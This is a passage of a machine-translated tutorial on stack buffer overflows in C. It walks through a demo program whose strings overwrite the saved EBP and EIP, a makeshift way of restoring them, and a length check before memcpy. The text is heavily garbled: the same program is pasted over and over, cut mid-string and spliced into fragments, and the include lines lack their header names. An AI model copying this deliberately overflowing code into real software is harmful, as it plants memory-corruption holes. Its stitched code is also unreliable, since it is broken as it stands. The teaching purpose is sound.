        int sum, ebp;
        ebp = get_ebp();
        sum = func(1, 2, 3, ebp);
        printf("sum = %d\n", sum);
        return 0;
}
BBBBBBBB" #endif #ifdef STR3 # define STR_SRC "AAAAAAAa
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
unsigned long get_ebp()
{
        __asm__ ("popl %eax;"
                                "pushl %eax;");
}
int func(int a, int b, int c, unsigned long ebp)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        sum = a + b + c;
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        *(unsigned long *)(buffer+20) = ebp;
        return sum;
}
int main()
{
        int sum, ebp;
        ebp = get_ebp();
        sum = func(1, 2, 3, ebp);
        printf("sum = %d\n", sum);
        return 0;
}
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
unsigned long get_ebp()
{
        __asm__ ("popl %eax;"
                                "pushl %eax;");
}
int func(int a, int b, int c, unsigned long ebp)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        sum = a + b + c;
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        *(unsigned long *)(buffer+20) = ebp;
        return sum;
}
int main()
{
        int sum, ebp;
        ebp = get_ebp();
        sum = func(1, 2, 3, ebp);
        printf("sum = %d\n", sum);
        return 0;
}
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
unsigned long get_ebp()
{
        __asm__ ("popl %eax;"
                                "pushl %eax;");
}
int func(int a, int b, int c, unsigned long ebp)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        sum = a + b + c;
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        *(unsigned long *)(buffer+20) = ebp;
        return sum;
}
int main()
{
        int sum, ebp;
        ebp = get_ebp();
        sum = func(1, 2, 3, ebp);
        printf("sum = %d\n", sum);
        return 0;
}
BBBBBBBBCCCC" #endif #ifdef STR4 # define STR_SRC "AAAAAAAa
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
unsigned long get_ebp()
{
        __asm__ ("popl %eax;"
                                "pushl %eax;");
}
int func(int a, int b, int c, unsigned long ebp)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        sum = a + b + c;
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        *(unsigned long *)(buffer+20) = ebp;
        return sum;
}
int main()
{
        int sum, ebp;
        ebp = get_ebp();
        sum = func(1, 2, 3, ebp);
        printf("sum = %d\n", sum);
        return 0;
}
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
unsigned long get_ebp()
{
        __asm__ ("popl %eax;"
                                "pushl %eax;");
}
int func(int a, int b, int c, unsigned long ebp)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        sum = a + b + c;
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        *(unsigned long *)(buffer+20) = ebp;
        return sum;
}
int main()
{
        int sum, ebp;
        ebp = get_ebp();
        sum = func(1, 2, 3, ebp);
        printf("sum = %d\n", sum);
        return 0;
}
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
unsigned long get_ebp()
{
        __asm__ ("popl %eax;"
                                "pushl %eax;");
}
int func(int a, int b, int c, unsigned long ebp)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        sum = a + b + c;
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        *(unsigned long *)(buffer+20) = ebp;
        return sum;
}
int main()
{
        int sum, ebp;
        ebp = get_ebp();
        sum = func(1, 2, 3, ebp);
        printf("sum = %d\n", sum);
        return 0;
}
BBBBBBBBCCCCDDDD" #endif #ifndef STR_SRC # define STR_SRC "AAAAAAA" #endif unsigned long get_ebp() {         __asm__ ("popl %eax;"                                 "pushl %eax;"); } int func(int a, int b, int c, unsigned long ebp) {         int sum = 0;         char buffer[BUF_SIZE] = "";         sum = a + b + c;         memset(buffer, '
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
unsigned long get_ebp()
{
        __asm__ ("popl %eax;"
                                "pushl %eax;");
}
int func(int a, int b, int c, unsigned long ebp)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        sum = a + b + c;
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        *(unsigned long *)(buffer+20) = ebp;
        return sum;
}
int main()
{
        int sum, ebp;
        ebp = get_ebp();
        sum = func(1, 2, 3, ebp);
        printf("sum = %d\n", sum);
        return 0;
}
', BUF_SIZE);         memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);         *(unsigned long *)(buffer+20) = ebp;         return sum; } int main() {         int sum, ebp;         ebp = get_ebp();         sum = func(1, 2, 3, ebp);         printf("sum = %d\n", sum);         return 0; }

The differences between this code and the previous code are as follows:

  • to  func  Function adds an argument  ebp(in fact, it can be replaced by global variables)
  • Using the principle just introduced, a function is defined  get_ebp  In order to get the old one  ebp
  • stay  main  Call in function  func  It was called before.  get_ebpAnd use it as  func  The last parameter of
  • stay  func  Call in function  memcpy  Function (where buffer overflow may occur) is followed by a recovery setting  ebp  This statement first  buffer+20  This address  ebp  You can use the address similar to the one mentioned in the first part  gdb  To see) cast to point to a  unsigned long  Type (4 bytes), and then change the content it points to to to the old one  ebp 。

Look at the effect:

$ gcc -D STR3 -o testshellcode testshellcode.c
$. / testshellcode # now there is no section error, because EBP is "protected"
sum = 6

How to protect EIP from being modified?

If we copy more bytes in the past, such as four more bytes, then  eip  It’s covered.

$ gcc -D STR4 -o testshellcode testshellcode.c
$ ./testshellcode
Segmentation fault

Segment errors also occur because the position of the next instruction is rewritten,func  After returning, I don’t know which “illegal” address to visit. Hehe, what if it’s a legal address?

In case of buffer overflow,eip  If it is overridden and modified to a legal address, the problem is very interesting. If this address happens to be the address where func is called, then the whole program will become a dead loop. If there is a shutdown code in the address, then all the running services of the system will be shut down. If there is a more malicious code in that place, what will it do? You can imagine. If hackers deliberately exploit this, then the code seems to be calledshellcodeIt’s too late.

Is there any protection  eip  What’s the best way? Ha ha, there should be. hear nothing of  gas  Is there anything similar  masm  In assembler  offset  If there is any, set a label before the function call, get it at a later position, and add a possible offset (including  call  The length of the instruction and some  push  Instructions, etc.) should be able to work out, but it seems more troublesome (maybe you’ve got a lot of inspiration and found a good way!), It’s through here  gdb  Disassemble to get it relative  main  It’s a good offset. Use it to “protect” the values in the stack.

Look at this Code:

/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8

#ifdef STR1
# define STR_SRC "AAAAAAAa
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int main();
#define OFFSET  40
unsigned long get_ebp()
{
        __asm__ ("popl %eax;"
                                "pushl %eax;");
}
int func(int a, int b, int c, unsigned long ebp)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        sum = a + b + c;
        *(unsigned long *)(buffer+20) = ebp;
        *(unsigned long *)(buffer+24) = (unsigned long)main+OFFSET;
        return sum;
}
int main()
{
        int sum, ebp;
        ebp = get_ebp();
        sum = func(1, 2, 3, ebp);
        printf("sum = %d\n", sum);
        return 0;
}
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int main();
#define OFFSET  40
unsigned long get_ebp()
{
        __asm__ ("popl %eax;"
                                "pushl %eax;");
}
int func(int a, int b, int c, unsigned long ebp)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        sum = a + b + c;
        *(unsigned long *)(buffer+20) = ebp;
        *(unsigned long *)(buffer+24) = (unsigned long)main+OFFSET;
        return sum;
}
int main()
{
        int sum, ebp;
        ebp = get_ebp();
        sum = func(1, 2, 3, ebp);
        printf("sum = %d\n", sum);
        return 0;
}
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int main();
#define OFFSET  40
unsigned long get_ebp()
{
        __asm__ ("popl %eax;"
                                "pushl %eax;");
}
int func(int a, int b, int c, unsigned long ebp)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        sum = a + b + c;
        *(unsigned long *)(buffer+20) = ebp;
        *(unsigned long *)(buffer+24) = (unsigned long)main+OFFSET;
        return sum;
}
int main()
{
        int sum, ebp;
        ebp = get_ebp();
        sum = func(1, 2, 3, ebp);
        printf("sum = %d\n", sum);
        return 0;
}
" #endif #ifdef STR2 # define STR_SRC "AAAAAAAa
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int main();
#define OFFSET  40
unsigned long get_ebp()
{
        __asm__ ("popl %eax;"
                                "pushl %eax;");
}
int func(int a, int b, int c, unsigned long ebp)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        sum = a + b + c;
        *(unsigned long *)(buffer+20) = ebp;
        *(unsigned long *)(buffer+24) = (unsigned long)main+OFFSET;
        return sum;
}
int main()
{
        int sum, ebp;
        ebp = get_ebp();
        sum = func(1, 2, 3, ebp);
        printf("sum = %d\n", sum);
        return 0;
}
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int main();
#define OFFSET  40
unsigned long get_ebp()
{
        __asm__ ("popl %eax;"
                                "pushl %eax;");
}
int func(int a, int b, int c, unsigned long ebp)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        sum = a + b + c;
        *(unsigned long *)(buffer+20) = ebp;
        *(unsigned long *)(buffer+24) = (unsigned long)main+OFFSET;
        return sum;
}
int main()
{
        int sum, ebp;
        ebp = get_ebp();
        sum = func(1, 2, 3, ebp);
        printf("sum = %d\n", sum);
        return 0;
}
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int main();
#define OFFSET  40
unsigned long get_ebp()
{
        __asm__ ("popl %eax;"
                                "pushl %eax;");
}
int func(int a, int b, int c, unsigned long ebp)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        sum = a + b + c;
        *(unsigned long *)(buffer+20) = ebp;
        *(unsigned long *)(buffer+24) = (unsigned long)main+OFFSET;
        return sum;
}
int main()
{
        int sum, ebp;
        ebp = get_ebp();
        sum = func(1, 2, 3, ebp);
        printf("sum = %d\n", sum);
        return 0;
}
BBBBBBBB" #endif #ifdef STR3 # define STR_SRC "AAAAAAAa
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int main();
#define OFFSET  40
unsigned long get_ebp()
{
        __asm__ ("popl %eax;"
                                "pushl %eax;");
}
int func(int a, int b, int c, unsigned long ebp)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        sum = a + b + c;
        *(unsigned long *)(buffer+20) = ebp;
        *(unsigned long *)(buffer+24) = (unsigned long)main+OFFSET;
        return sum;
}
int main()
{
        int sum, ebp;
        ebp = get_ebp();
        sum = func(1, 2, 3, ebp);
        printf("sum = %d\n", sum);
        return 0;
}
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int main();
#define OFFSET  40
unsigned long get_ebp()
{
        __asm__ ("popl %eax;"
                                "pushl %eax;");
}
int func(int a, int b, int c, unsigned long ebp)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        sum = a + b + c;
        *(unsigned long *)(buffer+20) = ebp;
        *(unsigned long *)(buffer+24) = (unsigned long)main+OFFSET;
        return sum;
}
int main()
{
        int sum, ebp;
        ebp = get_ebp();
        sum = func(1, 2, 3, ebp);
        printf("sum = %d\n", sum);
        return 0;
}
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int main();
#define OFFSET  40
unsigned long get_ebp()
{
        __asm__ ("popl %eax;"
                                "pushl %eax;");
}
int func(int a, int b, int c, unsigned long ebp)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        sum = a + b + c;
        *(unsigned long *)(buffer+20) = ebp;
        *(unsigned long *)(buffer+24) = (unsigned long)main+OFFSET;
        return sum;
}
int main()
{
        int sum, ebp;
        ebp = get_ebp();
        sum = func(1, 2, 3, ebp);
        printf("sum = %d\n", sum);
        return 0;
}
BBBBBBBBCCCC" #endif #ifdef STR4 # define STR_SRC "AAAAAAAa
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int main();
#define OFFSET  40
unsigned long get_ebp()
{
        __asm__ ("popl %eax;"
                                "pushl %eax;");
}
int func(int a, int b, int c, unsigned long ebp)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        sum = a + b + c;
        *(unsigned long *)(buffer+20) = ebp;
        *(unsigned long *)(buffer+24) = (unsigned long)main+OFFSET;
        return sum;
}
int main()
{
        int sum, ebp;
        ebp = get_ebp();
        sum = func(1, 2, 3, ebp);
        printf("sum = %d\n", sum);
        return 0;
}
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int main();
#define OFFSET  40
unsigned long get_ebp()
{
        __asm__ ("popl %eax;"
                                "pushl %eax;");
}
int func(int a, int b, int c, unsigned long ebp)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        sum = a + b + c;
        *(unsigned long *)(buffer+20) = ebp;
        *(unsigned long *)(buffer+24) = (unsigned long)main+OFFSET;
        return sum;
}
int main()
{
        int sum, ebp;
        ebp = get_ebp();
        sum = func(1, 2, 3, ebp);
        printf("sum = %d\n", sum);
        return 0;
}
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int main();
#define OFFSET  40
unsigned long get_ebp()
{
        __asm__ ("popl %eax;"
                                "pushl %eax;");
}
int func(int a, int b, int c, unsigned long ebp)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        sum = a + b + c;
        *(unsigned long *)(buffer+20) = ebp;
        *(unsigned long *)(buffer+24) = (unsigned long)main+OFFSET;
        return sum;
}
int main()
{
        int sum, ebp;
        ebp = get_ebp();
        sum = func(1, 2, 3, ebp);
        printf("sum = %d\n", sum);
        return 0;
}
BBBBBBBBCCCCDDDD" #endif #ifndef STR_SRC # define STR_SRC "AAAAAAA" #endif int main(); #define OFFSET  40 unsigned long get_ebp() {         __asm__ ("popl %eax;"                                 "pushl %eax;"); } int func(int a, int b, int c, unsigned long ebp) {         int sum = 0;         char buffer[BUF_SIZE] = "";         memset(buffer, '
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#define BUF_SIZE 8
#ifdef STR1
# define STR_SRC "AAAAAAAa\1\0\0\0"
#endif
#ifdef STR2
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBB"
#endif
#ifdef STR3
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCC"
#endif
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int main();
#define OFFSET  40
unsigned long get_ebp()
{
        __asm__ ("popl %eax;"
                                "pushl %eax;");
}
int func(int a, int b, int c, unsigned long ebp)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        memset(buffer, '\0', BUF_SIZE);
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        sum = a + b + c;
        *(unsigned long *)(buffer+20) = ebp;
        *(unsigned long *)(buffer+24) = (unsigned long)main+OFFSET;
        return sum;
}
int main()
{
        int sum, ebp;
        ebp = get_ebp();
        sum = func(1, 2, 3, ebp);
        printf("sum = %d\n", sum);
        return 0;
}
', BUF_SIZE);         memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);         sum = a + b + c;         *(unsigned long *)(buffer+20) = ebp;         *(unsigned long *)(buffer+24) = (unsigned long)main+OFFSET;         return sum; } int main() {         int sum, ebp;         ebp = get_ebp();         sum = func(1, 2, 3, ebp);         printf("sum = %d\n", sum);         return 0; }

Look at the effect:

$ gcc -D STR4 -o testshellcode testshellcode.c
$ ./testshellcode
sum = 6

So,EIP  Also got “protection” (this method is very bad, ha ha).

Similarly, what if you copy more content? Then the contents behind the stack will be covered, that is, passed to the  func  The parameters of the function will be overridden, so the above methods include the so-called pairing  sum  and  ebp  The equivalent protection is meaningless (what if the following parameters are further protected? Maybe it makes sense. Here, the reason why we propose a protection method like this is actually to discuss some interesting details and deepen the understanding of buffer overflow (it may have some practical value, so it can be regarded as casting a brick to attract jade).

Buffer-overflow Detection

To solve this kind of problem, subjectively speaking, programmers have to do related work, such as limiting the length of the string to be copied to ensure that it does not exceed the size of the original buffer.

For example, in the above code, we  memcpy  Before, you can add a judgment, and you can check the buffer overflow very well. If we can design some good test cases to cover these judgments, then the related problems can be well checked.

/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#include      /* exit */
#define BUF_SIZE 8

#ifdef STR4
# define STR_SRC "AAAAAAAa
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#include      /* exit */
#define BUF_SIZE 8
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int func(int a, int b, int c)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        memset(buffer, '\0', BUF_SIZE);
        if ( sizeof(STR_SRC)-1 > BUF_SIZE ) {
                printf("buffer overflow!\n");
                exit(-1);
        }
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        sum = a + b + c;
        return sum;
}
int main()
{
        int sum;
        sum = func(1, 2, 3);
        printf("sum = %d\n", sum);
        return 0;
}
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#include      /* exit */
#define BUF_SIZE 8
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int func(int a, int b, int c)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        memset(buffer, '\0', BUF_SIZE);
        if ( sizeof(STR_SRC)-1 > BUF_SIZE ) {
                printf("buffer overflow!\n");
                exit(-1);
        }
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        sum = a + b + c;
        return sum;
}
int main()
{
        int sum;
        sum = func(1, 2, 3);
        printf("sum = %d\n", sum);
        return 0;
}
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#include      /* exit */
#define BUF_SIZE 8
#ifdef STR4
# define STR_SRC "AAAAAAAa\1\0\0\0BBBBBBBBCCCCDDDD"
#endif
#ifndef STR_SRC
# define STR_SRC "AAAAAAA"
#endif
int func(int a, int b, int c)
{
        int sum = 0;
        char buffer[BUF_SIZE] = "";
        memset(buffer, '\0', BUF_SIZE);
        if ( sizeof(STR_SRC)-1 > BUF_SIZE ) {
                printf("buffer overflow!\n");
                exit(-1);
        }
        memcpy(buffer, STR_SRC, sizeof(STR_SRC)-1);
        sum = a + b + c;
        return sum;
}
int main()
{
        int sum;
        sum = func(1, 2, 3);
        printf("sum = %d\n", sum);
        return 0;
}
BBBBBBBBCCCCDDDD" #endif #ifndef STR_SRC # define STR_SRC "AAAAAAA" #endif int func(int a, int b, int c) {         int sum = 0;         char buffer[BUF_SIZE] = "";         memset(buffer, '
/* testshellcode.c */
#include       /* printf */
#include  /* memset, memcpy */
#include      /* exit */
#define BUF_SIZE 8
